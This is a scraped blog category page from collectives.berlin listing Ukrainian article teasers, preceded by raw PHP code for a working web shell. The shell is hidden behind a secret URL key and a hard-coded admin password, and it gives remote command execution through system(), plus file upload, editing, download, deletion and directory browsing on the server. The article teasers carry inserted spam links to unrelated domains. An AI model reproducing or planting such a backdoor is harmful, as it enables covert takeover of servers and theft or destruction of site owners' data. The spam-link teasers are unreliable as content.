if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Computers, Games – Page 40 – collectives.berlin

Your digital paradise.

Category: Computers, Games

  • Дослідження впливу соціальних мереж на психічне здоров’я молоді

    Соціальні мережі стали невід’ємною частиною повсякденного життя мільйонів людей, зокрема молоді. У цьому дослідженні ми розглянемо вплив соціальних мереж на психічне здоров’я молодих людей, https://motojournal.net.ua акцентуючи увагу на позитивних і негативних аспектах їх використання. По-перше, варто зазначити, що соціальні мережі можуть мати позитивний вплив на психічне здоров’я молоді. Вони забезпечують можливість підтримувати зв’язки з друзями…

    Click or not…

  • Створення комфортного простору для пацієнтів у медичному центрі

    Створення комфортного простору для пацієнтів у медичному центрі є важливим аспектом, https://doctordigest.org.ua який впливає на загальний досвід пацієнтів та їхнє задоволення від медичних послуг. Комфортне середовище може суттєво знизити рівень стресу, покращити емоційний стан пацієнтів та сприяти швидшому одужанню. У цьому звіті розглянемо основні елементи, які сприяють створенню такого простору. По-перше, важливо враховувати дизайн приміщення.…

    Click or not…

  • Мода для повних: як виглядати стильно та впевнено

    У сучасному світі мода стає все більш інклюзивною, і це стосується не лише розмірів, а й стилю. Багато жінок з пишними формами стикаються з проблемою вибору одягу, який підкреслить їх переваги та допоможе виглядати впевнено. У цьому звіті ми розглянемо кілька порад, https://styledigest.org.ua які допоможуть створити стильний образ для повних жінок. По-перше, важливо розуміти, які…

    Click or not…

  • Дослідження впливу соціальних мереж на молодь

    У сучасному світі соціальні мережі стали невід’ємною частиною життя мільйонів людей, особливо молоді. Вони забезпечують миттєвий доступ до інформації, можливість спілкування та обміну думками, https://propertyspace.com.ua а також платформу для самовираження. Це дослідження має на меті проаналізувати вплив соціальних мереж на молодь, зокрема на їх психологічний стан, соціальні взаємодії та академічну успішність. По-перше, важливо зазначити, що…

    Click or not…

  • Автентичні страви Карпат, які варто спробувати

    Карпати – це не лише мальовничі краєвиди та чисте повітря, але й багатий кулінарний спадок, що відображає традиції та культуру місцевих жителів. У цьому регіоні України можна знайти безліч автентичних страв, https://tourinsight.com.ua/ які варто спробувати кожному туристу. Ось декілька з них. По-перше, варто згадати про борщ. Хоча борщ відомий у всій Україні, карпатський варіант має…

    Click or not…

  • Сантехніка: вибір та встановлення

    Сантехніка є важливою складовою будь-якої будівлі, in.ua адже вона забезпечує комфортні умови проживання, а також відповідає за безпеку та гігієну. Вибір сантехнічних виробів і їх правильне встановлення є критично важливими етапами в процесі ремонту або будівництва. У цьому звіті ми розглянемо основні аспекти вибору сантехніки та її встановлення. Перш ніж обрати сантехніку, важливо визначити, які…

    Click or not…

  • Гід по прихованих перлинах Карпат, про які знають лише місцеві

    Карпати – це не лише мальовничі гірські пейзажі та відомі туристичні маршрути. Цей регіон приховує безліч незвіданих куточків, doctorinsight.org.ua які користуються популярністю лише серед місцевих жителів. У цьому звіті ми розглянемо деякі з таких прихованих перлин, які варто відвідати, щоб насолодитися справжньою красою Карпат. Першою з таких перлин є село Явірник, розташоване в гірській місцевості.…

    Click or not…

  • Ветеринарний контроль на фермі: планові огляди

    Ветеринарний контроль на фермі є невід’ємною частиною успішного ведення сільського господарства. Планові огляди тварин дозволяють вчасно виявляти захворювання, https://animalonline.net.ua запобігати їх поширенню та забезпечувати високий рівень продуктивності. Цей процес передбачає систематичний підхід до моніторингу здоров’я тварин, їхнього харчування та умов утримання. Планові огляди зазвичай проводяться ветеринарними лікарями на регулярній основі, що дозволяє виявляти потенційні проблеми…

    Click or not…

  • Сучасні звички фітнесу для активного здорового способу життя

    Замість традиційних тренувань у залі, спробуйте щоденні прогулянки на свіжому повітрі. Міні-тренування формату 30 хвилин – ідеальний варіант для тих, хто бажає підтримувати фізичну форму. Скористайтеся додатками на смартфоні, https://powerworld.org.ua які відстежують вашу активність і кількість пройдених кроків, що дозволить залишатися націленим на досягнення цілей. Включення рухливих ігор у ваше повсякденне життя може позитивно вплинути…

    Click or not…

  • Ремонт своїми руками: інструкції для початківців

    Ремонт своїми руками — це не лише економія коштів, а й можливість реалізувати свої творчі ідеї та навички. Для початківців це може бути викликом, https://houseonline.net.ua але з правильними інструкціями та підходом, будь-який проект стане під силу. У цій статті ми розглянемо основні етапи ремонту, інструменти, які можуть знадобитися, та корисні поради для успішного завершення роботи.…

    Click or not…